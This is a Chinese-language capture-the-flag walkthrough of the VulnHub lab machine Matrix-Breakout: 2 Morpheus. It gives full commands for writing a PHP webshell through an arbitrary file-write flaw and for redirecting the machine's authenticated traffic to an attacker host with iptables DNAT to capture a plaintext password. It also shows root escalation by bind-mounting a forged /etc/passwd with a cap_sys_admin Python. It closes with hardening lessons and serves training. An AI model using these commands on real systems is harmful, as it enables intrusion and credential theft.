跳到主要内容

VulnHub Matrix-Breakout: 2 Morpheus 通关记录|Web 任意文件写入、DNAT 取密与 capability 提权

靶机链接:Matrix-Breakout: 2 Morpheus


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Matrix-Breakout: 2 Morpheus192.168.1.114

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、81/tcp nginx Basic Auth明确主攻击面在 Web
隐藏入口robots.txt 提示 + CeWL/主题词表枚举命中 /graffiti.php获得可交互隐藏功能
任意文件写入表单隐藏参数 file=graffiti.txt 可控写入 PHP WebShell
初始权限访问 shell.php?cmd=id获得 www-data RCE
口令来源.htpasswd + nginx 日志中 172.17.0.2 - cypher锁定容器定时带认证访问 81
取密手段xtables-nft-multi 添加 DNAT 规则并抓取 Authorization恢复 cypher 明文密码
用户落地cypher SSH 登录获得 user flag
Root 提权python3-9 cap_sys_admin=ep + bind mount 覆盖 /etc/passwd添加 UID 0 用户并切换 root

0x02 侦察与信息收集 (Reconnaissance)

1. 端口与服务识别

先用 RustScan 快速确认开放端口,再用 Nmap 做服务识别:

rustscan -a 192.168.1.114 -- -Pn -sV -sC
nmap --disable-arp-ping -Pn -p22,53,80,81 -sV -sC 192.168.1.114

服务列表摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5
80/tcpHTTPApache/2.4.51 (Debian)
81/tcpHTTPnginx/1.18.0,Basic Auth,realm 为 Meeting Place

53/tcp 在定向服务识别里是关闭状态,不是后续攻击主线。

2. Web 初步观察

80 端口首页:

curl -i http://192.168.1.114/

关键信息:

  • 标题为 Morpheus:1
  • 页面内容围绕 TrinityCypherNebuchadnezzar
  • 引用图片 trinity.jpeg

81 端口直接访问:

curl -i http://192.168.1.114:81/

返回 401 Unauthorized,说明这是一个独立的认证站点。

3. robots.txt 提示

curl -i http://192.168.1.114/robots.txt

结果:

There's no white rabbit here. Keep searching!

这不是普通 robots.txt,而是明确提示继续寻找隐藏入口。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. 常规目录枚举

gobuster dir -u http://192.168.1.114/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -q

发现:

路径状态码备注
/index.html200首页
/robots.txt200提示继续搜索
/javascript/301目录存在
/server-status403默认敏感目录

常规字典没有直接扫出真正入口。

2. CeWL + 主题词表发现 /graffiti.php

先用 CeWL 从首页提取站点词汇。主题词表辅助枚举的通用方法见知识库:CeWL 主题词表辅助目录发现

cewl -w cewl_verify.txt -d 2 http://192.168.1.114/

输出中出现这些 Matrix 主题词:

Morpheus
Cypher
Nebuchadnezzar
Trinity
Boot
Root
CTF

结合页面主题补充一组小字典:

cypher
graffiti
matrix
meeting
morpheus
mouse
nebuchadnezzar
oracle
rabbit
smith
trinity
zion

重新做聚焦枚举:

gobuster dir -u http://192.168.1.114/ -w graffiti_words.txt -x php -q

命中结果:

graffiti.php (Status: 200) [Size: 464]

直接访问确认:

curl -i http://192.168.1.114/graffiti.php

结果:

HTTP/1.1 200 OK
Nebuchadnezzar Graffiti Wall

这里的关键不是“大字典硬扫”,而是根据 robots.txt 和首页主题词收束方向,用小型主题词表命中隐藏入口。

3. 隐藏参数暴露文件写入逻辑

页面表单中存在隐藏参数:

<input type="hidden" name="file" value="graffiti.txt">

这说明后端在接收 message 的同时,会把内容写入 file 指向的文件。

先用普通内容验证:

curl -i -X POST -d message=test123 http://192.168.1.114/graffiti.php

页面会回显 test123,说明输入确实被写入并再次读取。

4. 任意文件写入到 Web 根

直接把 PHP payload 写入 shell.php

curl -i -X POST \
--data-urlencode 'message=<?php system($_GET["cmd"]); ?>' \
-d file=shell.php \
http://192.168.1.114/graffiti.php

随后验证命令执行:

curl -i 'http://192.168.1.114/shell.php?cmd=id'

结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

结论:graffiti.php 存在任意文件写入,可直接写入 PHP WebShell,进而获得 www-data 远程命令执行。任意文件写入转 WebShell 的判断条件和最小验证流程见知识库:任意文件写入到 WebShell


0x04 核心攻击链:WebShell 到 cypher 明文口令

1. WebShell 本地枚举

通过 WebShell 确认主机、权限和系统版本:

curl -sG --data-urlencode 'cmd=hostname; id; uname -a; cat /etc/os-release' \
http://192.168.1.114/shell.php

结果摘要:

项目内容
主机名morpheus
当前用户www-data
系统Debian 11
内核5.10.0-9-amd64

继续确认可交互用户:

curl -sG --data-urlencode 'cmd=cat /etc/passwd | grep -E "sh$|bash$"' \
http://192.168.1.114/shell.php

得到:

root
trinity
cypher

Web 根目录里的关键文件:

curl -sG --data-urlencode 'cmd=ls -la /var/www/html' \
http://192.168.1.114/shell.php

需要关注:

  • graffiti.php
  • graffiti.txt
  • shell.php
  • trinity.jpeg
  • .cypher-neo.png

.cypher-neo.png 可以留作离线分析,但本题最终恢复 cypher 口令的关键路径不是图片隐写,而是认证流量。

2. 81 端口认证文件与日志证据

读取 81 端口站点的认证文件:

curl -sG --data-urlencode 'cmd=cat /var/nginx/html/.htpasswd; ls -la /var/nginx/html' \
http://192.168.1.114/shell.php

结果:

cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0

这说明 81 端口 Basic Auth 的用户名是 cypher。Basic Auth、.htpasswd 和访问日志的取证思路见知识库:Basic Auth、.htpasswd 与访问日志取证。接着查看 nginx 访问日志:

curl -sG --data-urlencode 'cmd=grep "172.17.0.2 - cypher" /var/log/nginx/access.log | tail -20' \
http://192.168.1.114/shell.php

关键日志:

172.17.0.2 - cypher [...:10:07:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:08:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:09:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"
172.17.0.2 - cypher [...:10:10:59 +0000] "GET / HTTP/1.1" 200 354 "-" "Go-http-client/1.1"

这里可以收束出四个结论:

  1. 来源地址是 Docker 网段 172.17.0.2
  2. 发起者使用 cypher 认证。
  3. 访问目标是 81 端口认证站点。
  4. 请求大约每分钟触发一次。

3. 利用 xtables-nft-multi 劫持认证流量

先枚举 capability:

curl -sG --data-urlencode 'cmd=getcap -r / 2>/dev/null' \
http://192.168.1.114/shell.php

结果:

/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep

再补一轮 SUID 枚举:

curl -sG --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null | sort' \
http://192.168.1.114/shell.php

结果里与网络面相关的是:

/usr/sbin/xtables-legacy-multi

确认目标文件权限:

curl -sG --data-urlencode 'cmd=ls -l /usr/sbin/xtables-nft-multi /usr/sbin/xtables-legacy-multi 2>/dev/null' \
http://192.168.1.114/shell.php

结果:

-rwsr-xr-x 1 root root 99136 Jan 17 2021 /usr/sbin/xtables-legacy-multi
-rwxr-xr-x 1 root root 220232 Jan 17 2021 /usr/sbin/xtables-nft-multi

这说明 www-data 上下文具备修改防火墙 / NAT 规则的能力。结合前面“容器每分钟带着 cypher Basic Auth 访问 81 端口”的证据,最直接的利用方式就是把 81 端口流量重定向到 Kali 监听端口。DNAT 捕获认证流量的通用流程见知识库:iptables DNAT 认证流量捕获

先验证 NAT 表可读:

curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -L -n -v' \
http://192.168.1.114/shell.php

Kali 开启监听:

nc -lnvp 1236

通过 WebShell 增加 DNAT 规则:

curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers' \
http://192.168.1.114/shell.php
curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.1.113:1236' \
http://192.168.1.114/shell.php

查看规则:

1 DOCKER all -- 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL
2 DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:81 to:192.168.1.113:1236

这里追加 -A PREROUTING 可以成功劫持,是因为 DOCKER 链存在返回规则:

-N DOCKER
-A DOCKER -i docker0 -j RETURN

流量进入 DOCKER 链后会返回,随后继续命中后面追加的 DNAT 规则。如果目标 Docker 规则更复杂,-I PREROUTING 1 是更保守的写法。

4. 抓取并解码 Basic Auth

等待下一次容器请求,监听端可以抓到原始 HTTP 请求:

GET / HTTP/1.1
Host: 172.17.0.1:81
User-Agent: Go-http-client/1.1
Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0
Accept-Encoding: gzip

解码 Basic Auth:

printf '%s' 'Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0' | base64 -d

结果:

cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist

这一步完成了从“不知道 cypher 密码”到“独立抓到 cypher 明文密码”的闭环。

清理 DNAT 规则:

curl -sG --data-urlencode 'cmd=/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING -p tcp --dport 81 -j DNAT --to-destination 192.168.1.113:1236' \
http://192.168.1.114/shell.php

5. SSH 登录 cypher

先验证 81 端口认证:

curl -i -u 'cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist' http://192.168.1.114:81/

返回 HTTP/1.1 200 OK,说明明文口令正确。

使用该口令登录 SSH:

sshpass -p 'cache-prosy-proceeds-clue-expiate-ammo-pugilist' \
ssh -o UserKnownHostsFile=/dev/null \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
cypher@192.168.1.114 'id; pwd; cat FLAG.txt'

结果:

uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
/home/cypher
You've clearly gained access as user Cypher.

Can you find a way to get to root?

0x05 权限提升 (Privilege Escalation)

1. 关键权限点:python3-9

python3-9 的 capability 在 www-data 阶段已经暴露。Linux capability 的风险分级和提权模板见知识库:Linux capabilities 提权

curl -sG --data-urlencode 'cmd=getcap -r / 2>/dev/null' \
http://192.168.1.114/shell.php

关键输出:

/usr/bin/python3-9 cap_sys_admin=ep

拿到 cypher SSH 后,再确认这个二进制的 capability 和文件权限:

/usr/sbin/getcap /usr/bin/python3-9
ls -l /usr/bin/python3-9

结果:

/usr/bin/python3-9 cap_sys_admin=ep
-rwxr-x--- 1 root humans ... /usr/bin/python3-9

前面已经验证 cypher 属于 humans 组:

uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)

因此判断链是完整的:

  1. /usr/bin/python3-9 带有 cap_sys_admin=ep
  2. 文件权限允许 humans 组执行。
  3. cypher 正属于 humans 组。

cypher 可以直接调用这个带 cap_sys_admin 的 Python,进一步进行 bind mount 覆盖 /etc/passwd

2. 构造新的 /etc/passwd

cypher 的 SSH 会话中:

openssl passwd -1 -salt toto toto
cp /etc/passwd /home/cypher/passwd
printf 'toto:$1$toto$yogy/CxsiL7hF5invqmOk/:0:0:root:/root:/bin/bash\n' >> /home/cypher/passwd

其中第一条命令生成:

$1$toto$yogy/CxsiL7hF5invqmOk/

追加的新用户 toto 的 UID/GID 均为 0,口令为 toto

3. bind mount 覆盖 /etc/passwd

/usr/bin/python3-9 -c 'from ctypes import *; libc=CDLL("libc.so.6"); libc.mount.argtypes=(c_char_p,c_char_p,c_char_p,c_ulong,c_char_p); print(libc.mount(b"/home/cypher/passwd", b"/etc/passwd", b"none", 4096, b"rw"))'
findmnt /etc/passwd
getent passwd toto

结果:

0
/etc/passwd /dev/sda1[/home/cypher/passwd] ...
toto:$1$toto$yogy/CxsiL7hF5invqmOk/:0:0:root:/root:/bin/bash

0 表示 mount 调用成功,findmntgetent 进一步证明 /etc/passwd 已被绑定到 /home/cypher/passwd,并且新加入的 UID 0 账户已经被系统解析。

4. 切换到 root

su - toto

输入口令:

toto

切换成功后验证:

whoami
id
cat /root/FLAG.txt

结果:

root
uid=0(root) gid=0(root) groups=0(root),1001(cypher),1002(humans)

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/cypher/FLAG.txt
  • 内容:
You've clearly gained access as user Cypher.

Can you find a way to get to root?

Root Flag

  • 路径: /root/FLAG.txt
  • 内容:
You've won!

Let's hope Matrix: Resurrections rocks!

复盘总结

Matrix-Breakout: 2 Morpheus 的重点不是单点爆破,而是把 Web 写入、日志证据、网络能力和 capability 串成一条完整链。

  1. 隐藏入口来自主题收束。 常规目录枚举没有发现 /graffiti.php,但 robots.txt 和首页 Matrix 主题让 CeWL + 小词表成为更高效的枚举方式。
  2. 任意文件写入直接变成 WebShell。 隐藏 file 参数可控,且写入目录位于 Web 根下,PHP payload 可以直接落地并执行。
  3. .htpasswd 不是终点。 哈希说明了 cypher 是认证用户,但真正的突破点是 nginx 日志证明容器每分钟带认证访问 81 端口。
  4. 网络能力扩大了 WebShell 价值。 xtables-nft-multi cap_net_admin=epwww-data 能修改 NAT,把容器的 Basic Auth 明文请求导向 Kali。
  5. cap_sys_admin 是 root 提权关键。 带该 capability 的 python3-9 可由 humans 组执行,而 cypher 正属于这个组,因此可以通过 bind mount 覆盖 /etc/passwd
  6. 防守上要同时收紧文件写入、网络管理能力和 capability。 Web 用户不应能写 Web 根里的任意文件;高权限网络工具不应带可被 Web 用户触达的 capability;cap_sys_admin 近似 root,应极其谨慎授予。